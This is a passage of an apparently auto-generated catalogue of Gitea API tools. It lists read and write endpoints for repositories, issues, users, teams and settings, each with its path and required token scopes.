GET /api/v1/gitea/repos/{owner}/{repo}/git/trees/{sha}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_hooks (read) — List the hooks in a repository. GET /repos/{owner}/{repo}/hooks GET /api/v1/gitea/repos/{owner}/{repo}/hooks. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_hooks_by_id (read) — Get a hook. GET /repos/{owner}/{repo}/hooks/{id} GET /api/v1/gitea/repos/{owner}/{repo}/hooks/{id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_hooks_git (read) — List the Git hooks in a repository. GET /repos/{owner}/{repo}/hooks/git GET /api/v1/gitea/repos/{owner}/{repo}/hooks/git. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_hooks_git_by_id (read) — Get a Git hook. GET /repos/{owner}/{repo}/hooks/git/{id} GET /api/v1/gitea/repos/{owner}/{repo}/hooks/git/{id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_issue_config (read) — Returns the issue config for a repo. GET /repos/{owner}/{repo}/issue_config GET /api/v1/gitea/repos/{owner}/{repo}/issue_config. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_issue_config_validate (read) — Returns the validation information for a issue config. GET /repos/{owner}/{repo}/issue_config/validate GET /api/v1/gitea/repos/{owner}/{repo}/issue_config/validate. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_issue_templates (read) — Get available issue templates for a repository. GET /repos/{owner}/{repo}/issue_templates GET /api/v1/gitea/repos/{owner}/{repo}/issue_templates. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_issues (read) — List a repository's issues. GET /repos/{owner}/{repo}/issues GET /api/v1/gitea/repos/{owner}/{repo}/issues. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index (read) — Get an issue. GET /repos/{owner}/{repo}/issues/{index} GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_assets (read) — List issue's attachments. GET /repos/{owner}/{repo}/issues/{index}/assets GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/assets. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_assets_by_attachment_id (read) — Get an issue attachment. GET /repos/{owner}/{repo}/issues/{index}/assets/{attachment_id} GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/assets/{attachment_id}. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_assignees_by_assignee (read) — Check if a user can be assigned to an issue. GET /repos/{owner}/{repo}/issues/{index}/assignees/{assignee} GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/assignees/{assignee}. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_blocks (read) — List issues that are blocked by this issue. GET /repos/{owner}/{repo}/issues/{index}/blocks GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/blocks. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_comments (read) — List all comments on an issue. GET /repos/{owner}/{repo}/issues/{index}/comments GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/comments. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_dependencies (read) — List an issue's dependencies, i.e all issues that block this issue. GET /repos/{owner}/{repo}/issues/{index}/dependencies GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/dependencies. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_labels (read) — Get an issue's labels. GET /repos/{owner}/{repo}/issues/{index}/labels GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/labels. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_reactions (read) — Get a list reactions of an issue. GET /repos/{owner}/{repo}/issues/{index}/reactions GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/reactions. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_subscriptions (read) — Get users who subscribed on an issue. GET /repos/{owner}/{repo}/issues/{index}/subscriptions GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/subscriptions. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_subscriptions_check (read) — Check if user is subscribed to an issue. GET /repos/{owner}/{repo}/issues/{index}/subscriptions/check GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/subscriptions/check. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_timeline (read) — List all comments and events on an issue. GET /repos/{owner}/{repo}/issues/{index}/timeline GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/timeline. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_by_index_times (read) — List an issue's tracked times. GET /repos/{owner}/{repo}/issues/{index}/times GET /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/times. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_comments (read) — List all comments in a repository. GET /repos/{owner}/{repo}/issues/comments GET /api/v1/gitea/repos/{owner}/{repo}/issues/comments. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_comments_by_id (read) — Get a comment. GET /repos/{owner}/{repo}/issues/comments/{id} GET /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_comments_by_id_assets (read) — List comment's attachments. GET /repos/{owner}/{repo}/issues/comments/{id}/assets GET /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}/assets. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_comments_by_id_assets_by_attachment_id (read) — Get a comment attachment. GET /repos/{owner}/{repo}/issues/comments/{id}/assets/{attachment_id} GET /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}/assets/{attachment_id}. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_comments_by_id_reactions (read) — Get a list of reactions from a comment of an issue. GET /repos/{owner}/{repo}/issues/comments/{id}/reactions GET /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}/reactions. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_issues_pinned (read) — List a repo's pinned issues. GET /repos/{owner}/{repo}/issues/pinned GET /api/v1/gitea/repos/{owner}/{repo}/issues/pinned. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_keys (read) — List a repository's keys. GET /repos/{owner}/{repo}/keys GET /api/v1/gitea/repos/{owner}/{repo}/keys. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_keys_by_id (read) — Get a repository's key by id. GET /repos/{owner}/{repo}/keys/{id} GET /api/v1/gitea/repos/{owner}/{repo}/keys/{id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_labels (read) — Get all of a repository's labels. GET /repos/{owner}/{repo}/labels GET /api/v1/gitea/repos/{owner}/{repo}/labels. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_labels_by_id (read) — Get a single label. GET /repos/{owner}/{repo}/labels/{id} GET /api/v1/gitea/repos/{owner}/{repo}/labels/{id}. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_languages (read) — Get languages and number of bytes of code written. GET /repos/{owner}/{repo}/languages GET /api/v1/gitea/repos/{owner}/{repo}/languages. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_licenses (read) — Get repo licenses. GET /repos/{owner}/{repo}/licenses GET /api/v1/gitea/repos/{owner}/{repo}/licenses. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_milestones (read) — Get all of a repository's opened milestones. GET /repos/{owner}/{repo}/milestones GET /api/v1/gitea/repos/{owner}/{repo}/milestones. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_milestones_by_id (read) — Get a milestone. GET /repos/{owner}/{repo}/milestones/{id} GET /api/v1/gitea/repos/{owner}/{repo}/milestones/{id}. Scopes: read:issue. gitea_get_repos_by_owner_by_repo_new_pin_allowed (read) — Returns if new Issue Pins are allowed. GET /repos/{owner}/{repo}/new_pin_allowed GET /api/v1/gitea/repos/{owner}/{repo}/new_pin_allowed. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_notifications (read) — List users's notification threads on a specific repo. GET /repos/{owner}/{repo}/notifications GET /api/v1/gitea/repos/{owner}/{repo}/notifications. Scopes: read:notification. gitea_get_repos_by_owner_by_repo_pulls (read) — List a repo's pull requests. GET /repos/{owner}/{repo}/pulls GET /api/v1/gitea/repos/{owner}/{repo}/pulls. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_base_by_head (read) — Get a pull request by base and head. GET /repos/{owner}/{repo}/pulls/{base}/{head} GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{base}/{head}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index (read) — Get a pull request. GET /repos/{owner}/{repo}/pulls/{index} GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index_by_difftype (read) — Get a pull request diff or patch. GET /repos/{owner}/{repo}/pulls/{index}.{diffType} GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}.{diffType}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index_commits (read) — Get commits for a pull request. GET /repos/{owner}/{repo}/pulls/{index}/commits GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/commits. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index_files (read) — Get changed files for a pull request. GET /repos/{owner}/{repo}/pulls/{index}/files GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/files. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index_merge (read) — Check if a pull request has been merged. GET /repos/{owner}/{repo}/pulls/{index}/merge GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/merge. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index_reviews (read) — List all reviews for a pull request. GET /repos/{owner}/{repo}/pulls/{index}/reviews GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index_reviews_by_id (read) — Get a specific review for a pull request. GET /repos/{owner}/{repo}/pulls/{index}/reviews/{id} GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews/{id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_by_index_reviews_by_id_comments (read) — Get a specific review for a pull request. GET /repos/{owner}/{repo}/pulls/{index}/reviews/{id}/comments GET /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews/{id}/comments. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_pulls_pinned (read) — List a repo's pinned pull requests. GET /repos/{owner}/{repo}/pulls/pinned GET /api/v1/gitea/repos/{owner}/{repo}/pulls/pinned. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_push_mirrors (read) — Get all push mirrors of the repository. GET /repos/{owner}/{repo}/push_mirrors GET /api/v1/gitea/repos/{owner}/{repo}/push_mirrors. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_push_mirrors_by_name (read) — Get push mirror of the repository by remoteName. GET /repos/{owner}/{repo}/push_mirrors/{name} GET /api/v1/gitea/repos/{owner}/{repo}/push_mirrors/{name}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_releases (read) — List a repo's releases. GET /repos/{owner}/{repo}/releases GET /api/v1/gitea/repos/{owner}/{repo}/releases. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_releases_by_id (read) — Get a release. GET /repos/{owner}/{repo}/releases/{id} GET /api/v1/gitea/repos/{owner}/{repo}/releases/{id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_releases_by_id_assets (read) — List release's attachments. GET /repos/{owner}/{repo}/releases/{id}/assets GET /api/v1/gitea/repos/{owner}/{repo}/releases/{id}/assets. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_releases_by_id_assets_by_attachment_id (read) — Get a release attachment. GET /repos/{owner}/{repo}/releases/{id}/assets/{attachment_id} GET /api/v1/gitea/repos/{owner}/{repo}/releases/{id}/assets/{attachment_id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_releases_latest (read) — Gets the most recent non-prerelease, non-draft release of a repository, sorted by created_at. GET /repos/{owner}/{repo}/releases/latest GET /api/v1/gitea/repos/{owner}/{repo}/releases/latest. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_releases_tags_by_tag (read) — Get a release by tag name. GET /repos/{owner}/{repo}/releases/tags/{tag} GET /api/v1/gitea/repos/{owner}/{repo}/releases/tags/{tag}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_reviewers (read) — Return all users that can be requested to review in this repo. GET /repos/{owner}/{repo}/reviewers GET /api/v1/gitea/repos/{owner}/{repo}/reviewers. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_signing_key_gpg (read) — Get signing-key.gpg for given repository. GET /repos/{owner}/{repo}/signing-key.gpg GET /api/v1/gitea/repos/{owner}/{repo}/signing-key.gpg. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_signing_key_pub (read) — Get signing-key.pub for given repository. GET /repos/{owner}/{repo}/signing-key.pub GET /api/v1/gitea/repos/{owner}/{repo}/signing-key.pub. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_stargazers (read) — List a repo's stargazers. GET /repos/{owner}/{repo}/stargazers GET /api/v1/gitea/repos/{owner}/{repo}/stargazers. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_statuses_by_sha (read) — Get a commit's statuses. GET /repos/{owner}/{repo}/statuses/{sha} GET /api/v1/gitea/repos/{owner}/{repo}/statuses/{sha}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_subscribers (read) — List a repo's watchers. GET /repos/{owner}/{repo}/subscribers GET /api/v1/gitea/repos/{owner}/{repo}/subscribers. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_subscription (read) — Check if the current user is watching a repo. GET /repos/{owner}/{repo}/subscription GET /api/v1/gitea/repos/{owner}/{repo}/subscription. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_tag_protections (read) — List tag protections for a repository. GET /repos/{owner}/{repo}/tag_protections GET /api/v1/gitea/repos/{owner}/{repo}/tag_protections. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_tag_protections_by_id (read) — Get a specific tag protection for the repository. GET /repos/{owner}/{repo}/tag_protections/{id} GET /api/v1/gitea/repos/{owner}/{repo}/tag_protections/{id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_tags (read) — List a repository's tags. GET /repos/{owner}/{repo}/tags GET /api/v1/gitea/repos/{owner}/{repo}/tags. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_tags_by_tag (read) — Get the tag of a repository by tag name. GET /repos/{owner}/{repo}/tags/{tag} GET /api/v1/gitea/repos/{owner}/{repo}/tags/{tag}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_teams (read) — List a repository's teams. GET /repos/{owner}/{repo}/teams GET /api/v1/gitea/repos/{owner}/{repo}/teams. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_teams_by_team (read) — Check if a team is assigned to a repository. GET /repos/{owner}/{repo}/teams/{team} GET /api/v1/gitea/repos/{owner}/{repo}/teams/{team}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_times (read) — List a repo's tracked times. GET /repos/{owner}/{repo}/times GET /api/v1/gitea/repos/{owner}/{repo}/times. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_times_by_user (read) — List a user's tracked times in a repo Deprecated by Gitea. GET /repos/{owner}/{repo}/times/{user} GET /api/v1/gitea/repos/{owner}/{repo}/times/{user}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_topics (read) — Get list of topics that a repository has. GET /repos/{owner}/{repo}/topics GET /api/v1/gitea/repos/{owner}/{repo}/topics. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_wiki_page_by_pagename (read) — Get a wiki page. GET /repos/{owner}/{repo}/wiki/page/{pageName} GET /api/v1/gitea/repos/{owner}/{repo}/wiki/page/{pageName}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_wiki_pages (read) — Get all wiki pages. GET /repos/{owner}/{repo}/wiki/pages GET /api/v1/gitea/repos/{owner}/{repo}/wiki/pages. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_wiki_revisions_by_pagename (read) — Get revisions of a wiki page. GET /repos/{owner}/{repo}/wiki/revisions/{pageName} GET /api/v1/gitea/repos/{owner}/{repo}/wiki/revisions/{pageName}. Scopes: read:repository. gitea_get_repos_issues_search (read) — Search for issues across the repositories that the user has access to. GET /repos/issues/search GET /api/v1/gitea/repos/issues/search. Scopes: read:issue. gitea_get_repos_search (read) — Search for repositories. GET /repos/search GET /api/v1/gitea/repos/search. Scopes: read:repository. gitea_get_repositories_by_id (read) — Get a repository by id. GET /repositories/{id} GET /api/v1/gitea/repositories/{id}. Scopes: read:repository. gitea_get_settings_api (read) — Get instance's global settings for api. GET /settings/api GET /api/v1/gitea/settings/api. Scopes: api. gitea_get_settings_attachment (read) — Get instance's global settings for Attachment. GET /settings/attachment GET /api/v1/gitea/settings/attachment. Scopes: api. gitea_get_settings_repository (read) — Get instance's global settings for repositories. GET /settings/repository GET /api/v1/gitea/settings/repository. Scopes: api. gitea_get_settings_ui (read) — Get instance's global settings for ui. GET /settings/ui GET /api/v1/gitea/settings/ui. Scopes: api. gitea_get_signing_key_gpg (read) — Get default signing-key.gpg. GET /signing-key.gpg GET /api/v1/gitea/signing-key.gpg. Scopes: api. gitea_get_signing_key_pub (read) — Get default signing-key.pub. GET /signing-key.pub GET /api/v1/gitea/signing-key.pub. Scopes: api. gitea_get_teams_by_id (read) — Get a team. GET /teams/{id} GET /api/v1/gitea/teams/{id}. Scopes: read:organization. gitea_get_teams_by_id_activities_feeds (read) — List a team's activity feeds. GET /teams/{id}/activities/feeds GET /api/v1/gitea/teams/{id}/activities/feeds. Scopes: read:organization. gitea_get_teams_by_id_members (read) — List a team's members. GET /teams/{id}/members GET /api/v1/gitea/teams/{id}/members. Scopes: read:organization. gitea_get_teams_by_id_members_by_username (read) — List a particular member of team. GET /teams/{id}/members/{username} GET /api/v1/gitea/teams/{id}/members/{username}. Scopes: read:organization. gitea_get_teams_by_id_repos (read) — List a team's repos. GET /teams/{id}/repos GET /api/v1/gitea/teams/{id}/repos. Scopes: read:organization. gitea_get_teams_by_id_repos_by_org_by_repo (read) — List a particular repo of team. GET /teams/{id}/repos/{org}/{repo} GET /api/v1/gitea/teams/{id}/repos/{org}/{repo}. Scopes: read:organization. gitea_get_token (read) — Get the currently authenticated token. GET /token GET /api/v1/gitea/token. Scopes: api. gitea_get_topics_search (read) — search topics via keyword. GET /topics/search GET /api/v1/gitea/topics/search. Scopes: read:repository. gitea_get_user (read) — Get the authenticated user. GET /user GET /api/v1/gitea/user. Scopes: read:user. gitea_get_user_actions_jobs (read) — Get workflow jobs. GET /user/actions/jobs GET /api/v1/gitea/user/actions/jobs. Scopes: read:user. gitea_get_user_actions_runners (read) — Get user-level runners. GET /user/actions/runners GET /api/v1/gitea/user/actions/runners. Scopes: read:user. gitea_get_user_actions_runners_by_runner_id (read) — Get a user-level runner. GET /user/actions/runners/{runner_id} GET /api/v1/gitea/user/actions/runners/{runner_id}. Scopes: read:user. gitea_get_user_actions_runs (read) — Get workflow runs. GET /user/actions/runs GET /api/v1/gitea/user/actions/runs. Scopes: read:user. gitea_get_user_actions_variables (read) — Get the user-level list of variables which is created by current doer. GET /user/actions/variables GET /api/v1/gitea/user/actions/variables. Scopes: read:user. gitea_get_user_actions_variables_by_variablename (read) — Get a user-level variable which is created by current doer. GET /user/actions/variables/{variablename} GET /api/v1/gitea/user/actions/variables/{variablename}. Scopes: read:user. gitea_get_user_blocks (read) — List users blocked by the authenticated user. GET /user/blocks GET /api/v1/gitea/user/blocks. Scopes: read:user. gitea_get_user_blocks_by_username (read) — Check if a user is blocked by the authenticated user. GET /user/blocks/{username} GET /api/v1/gitea/user/blocks/{username}. Scopes: read:user. gitea_get_user_emails (read) — List the authenticated user's email addresses. GET /user/emails GET /api/v1/gitea/user/emails. Scopes: read:user. gitea_get_user_followers (read) — List the authenticated user's followers. GET /user/followers GET /api/v1/gitea/user/followers. Scopes: read:user. gitea_get_user_following (read) — List the users that the authenticated user is following. GET /user/following GET /api/v1/gitea/user/following. Scopes: read:user. gitea_get_user_following_by_username (read) — Check whether a user is followed by the authenticated user. GET /user/following/{username} GET /api/v1/gitea/user/following/{username}. Scopes: read:user. gitea_get_user_gpg_key_token (read) — Get a Token to verify. GET /user/gpg_key_token GET /api/v1/gitea/user/gpg_key_token. Scopes: read:user. gitea_get_user_gpg_keys (read) — List the authenticated user's GPG keys. GET /user/gpg_keys GET /api/v1/gitea/user/gpg_keys. Scopes: read:user. gitea_get_user_gpg_keys_by_id (read) — Get a GPG key. GET /user/gpg_keys/{id} GET /api/v1/gitea/user/gpg_keys/{id}. Scopes: read:user. gitea_get_user_hooks (read) — List the authenticated user's webhooks. GET /user/hooks GET /api/v1/gitea/user/hooks. Scopes: read:user. gitea_get_user_hooks_by_id (read) — Get a hook. GET /user/hooks/{id} GET /api/v1/gitea/user/hooks/{id}. Scopes: read:user. gitea_get_user_keys (read) — List the authenticated user's public keys. GET /user/keys GET /api/v1/gitea/user/keys. Scopes: read:user. gitea_get_user_keys_by_id (read) — Get a public key. GET /user/keys/{id} GET /api/v1/gitea/user/keys/{id}. Scopes: read:user. gitea_get_user_orgs (read) — List the current user's organizations. GET /user/orgs GET /api/v1/gitea/user/orgs. Scopes: read:organization, read:user. gitea_get_user_repos (read) — List the repos that the authenticated user owns. GET /user/repos GET /api/v1/gitea/user/repos. Scopes: read:repository, read:user. gitea_get_user_settings (read) — Get user settings. GET /user/settings GET /api/v1/gitea/user/settings. Scopes: read:user. gitea_get_user_starred (read) — The repos that the authenticated user has starred. GET /user/starred GET /api/v1/gitea/user/starred. Scopes: read:repository, read:user. gitea_get_user_starred_by_owner_by_repo (read) — Whether the authenticated is starring the repo. GET /user/starred/{owner}/{repo} GET /api/v1/gitea/user/starred/{owner}/{repo}. Scopes: read:repository, read:user. gitea_get_user_stopwatches (read) — Get list of all existing stopwatches. GET /user/stopwatches GET /api/v1/gitea/user/stopwatches. Scopes: read:user. gitea_get_user_subscriptions (read) — List repositories watched by the authenticated user. GET /user/subscriptions GET /api/v1/gitea/user/subscriptions. Scopes: read:user. gitea_get_user_teams (read) — List all the teams a user belongs to. GET /user/teams GET /api/v1/gitea/user/teams. Scopes: read:user. gitea_get_user_times (read) — List the current user's tracked times. GET /user/times GET /api/v1/gitea/user/times. Scopes: read:user. gitea_get_users_by_username (read) — Get a user. GET /users/{username} GET /api/v1/gitea/users/{username}. Scopes: read:user. gitea_get_users_by_username_activities_feeds (read) — List a user's activity feeds. GET /users/{username}/activities/feeds GET /api/v1/gitea/users/{username}/activities/feeds. Scopes: read:user. gitea_get_users_by_username_followers (read) — List the given user's followers. GET /users/{username}/followers GET /api/v1/gitea/users/{username}/followers. Scopes: read:user. gitea_get_users_by_username_following (read) — List the users that the given user is following. GET /users/{username}/following GET /api/v1/gitea/users/{username}/following. Scopes: read:user. gitea_get_users_by_username_following_by_target (read) — Check if one user is following another user. GET /users/{username}/following/{target} GET /api/v1/gitea/users/{username}/following/{target}. Scopes: read:user. gitea_get_users_by_username_gpg_keys (read) — List the given user's GPG keys. GET /users/{username}/gpg_keys GET /api/v1/gitea/users/{username}/gpg_keys. Scopes: read:user. gitea_get_users_by_username_heatmap (read) — Get a user's heatmap. GET /users/{username}/heatmap GET /api/v1/gitea/users/{username}/heatmap. Scopes: read:user. gitea_get_users_by_username_keys (read) — List the given user's public keys. GET /users/{username}/keys GET /api/v1/gitea/users/{username}/keys. Scopes: read:user. gitea_get_users_by_username_orgs (read) — List a user's organizations. GET /users/{username}/orgs GET /api/v1/gitea/users/{username}/orgs. Scopes: read:organization, read:user. gitea_get_users_by_username_orgs_by_org_permissions (read) — Get user permissions in organization. GET /users/{username}/orgs/{org}/permissions GET /api/v1/gitea/users/{username}/orgs/{org}/permissions. Scopes: read:organization, read:user. gitea_get_users_by_username_repos (read) — List the repos owned by the given user. GET /users/{username}/repos GET /api/v1/gitea/users/{username}/repos. Scopes: read:repository, read:user. gitea_get_users_by_username_starred (read) — The repos that the given user has starred. GET /users/{username}/starred GET /api/v1/gitea/users/{username}/starred. Scopes: read:user. gitea_get_users_by_username_subscriptions (read) — List the repositories watched by a user. GET /users/{username}/subscriptions GET /api/v1/gitea/users/{username}/subscriptions. Scopes: read:user. gitea_get_users_by_username_tokens (read) — List the authenticated user's access tokens. GET /users/{username}/tokens GET /api/v1/gitea/users/{username}/tokens. Scopes: read:user. gitea_get_users_search (read) — Search for users. GET /users/search GET /api/v1/gitea/users/search. Scopes: read:user. gitea_get_version (read) — Returns the version of the Gitea application. GET /version GET /api/v1/gitea/version. Scopes: api. gitea_patch_admin_actions_runners_by_runner_id (write) — Update a global runner. PATCH /admin/actions/runners/{runner_id} PATCH /api/v1/gitea/admin/actions/runners/{runner_id}. Scopes: write:admin. gitea_patch_admin_hooks_by_id (write) — Update a hook. PATCH /admin/hooks/{id} PATCH /api/v1/gitea/admin/hooks/{id}. Scopes: write:admin. gitea_patch_admin_users_by_username (write) — Edit an existing user. PATCH /admin/users/{username} PATCH /api/v1/gitea/admin/users/{username}. Scopes: write:admin. gitea_patch_notifications_threads_by_id (write) — Mark notification thread as read by ID. PATCH /notifications/threads/{id} PATCH /api/v1/gitea/notifications/threads/{id}. Scopes: write:notification. gitea_patch_orgs_by_org (write) — Edit an organization. PATCH /orgs/{org} PATCH /api/v1/gitea/orgs/{org}. Scopes: write:organization. gitea_patch_orgs_by_org_actions_runners_by_runner_id (write) — Update an org-level runner. PATCH /orgs/{org}/actions/runners/{runner_id} PATCH /api/v1/gitea/orgs/{org}/actions/runners/{runner_id}. Scopes: write:organization. gitea_patch_orgs_by_org_hooks_by_id (write) — Update a hook. PATCH /orgs/{org}/hooks/{id} PATCH /api/v1/gitea/orgs/{org}/hooks/{id}. Scopes: write:organization. gitea_patch_orgs_by_org_labels_by_id (write) — Update a label. PATCH /orgs/{org}/labels/{id} PATCH /api/v1/gitea/orgs/{org}/labels/{id}. Scopes: write:organization. gitea_patch_repos_by_owner_by_repo (write) — Edit a repository's properties. Only fields that are set will be changed. PATCH /repos/{owner}/{repo} PATCH /api/v1/gitea/repos/{owner}/{repo}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_actions_runners_by_runner_id (write) — Update a repo-level runner. PATCH /repos/{owner}/{repo}/actions/runners/{runner_id} PATCH /api/v1/gitea/repos/{owner}/{repo}/actions/runners/{runner_id}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_branch_protections_by_name (write) — Edit a branch protections for a repository. Only fields that are set will be changed. PATCH /repos/{owner}/{repo}/branch_protections/{name} PATCH /api/v1/gitea/repos/{owner}/{repo}/branch_protections/{name}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_branches_by_branch (write) — Rename a branch. PATCH /repos/{owner}/{repo}/branches/{branch} PATCH /api/v1/gitea/repos/{owner}/{repo}/branches/{branch}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_hooks_by_id (write) — Edit a hook in a repository. PATCH /repos/{owner}/{repo}/hooks/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/hooks/{id}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_hooks_git_by_id (write) — Edit a Git hook in a repository. PATCH /repos/{owner}/{repo}/hooks/git/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/hooks/git/{id}. Scopes: write:repository. gitea_patch_repos_by_owner_by_repo_issues_by_index (write) — Edit an issue. If using deadline only the date will be taken into account, and time of day ignored. Pass `content_version` to enable optimistic locking on body edits. If the version doesn't match the current value, the request fails with 409 Conflict. PATCH /repos/{owner}/{repo}/issues/{index} PATCH /api/v1/gitea/repos/{owner}/{repo}/issues/{index}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_issues_by_index_assets_by_attachment_id (write) — Edit an issue attachment. PATCH /repos/{owner}/{repo}/issues/{index}/assets/{attachment_id} PATCH /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/assets/{attachment_id}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_issues_by_index_comments_by_id (write) — Edit a comment Deprecated by Gitea. PATCH /repos/{owner}/{repo}/issues/{index}/comments/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/comments/{id}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_issues_by_index_pin_by_position (write) — Moves the Pin to the given Position. PATCH /repos/{owner}/{repo}/issues/{index}/pin/{position} PATCH /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/pin/{position}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_issues_comments_by_id (write) — Edit a comment. PATCH /repos/{owner}/{repo}/issues/comments/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_issues_comments_by_id_assets_by_attachment_id (write) — Edit a comment attachment. PATCH /repos/{owner}/{repo}/issues/comments/{id}/assets/{attachment_id} PATCH /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}/assets/{attachment_id}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_labels_by_id (write) — Update a label. PATCH /repos/{owner}/{repo}/labels/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/labels/{id}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_milestones_by_id (write) — Update a milestone. PATCH /repos/{owner}/{repo}/milestones/{id} PATCH /api/v1/gitea/repos/{owner}/{repo}/milestones/{id}. Scopes: write:issue. gitea_patch_repos_by_owner_by_repo_pulls_by_index (write) — Update a pull request. If using deadline only the date will be taken into account, and time of day ignored. PATCH 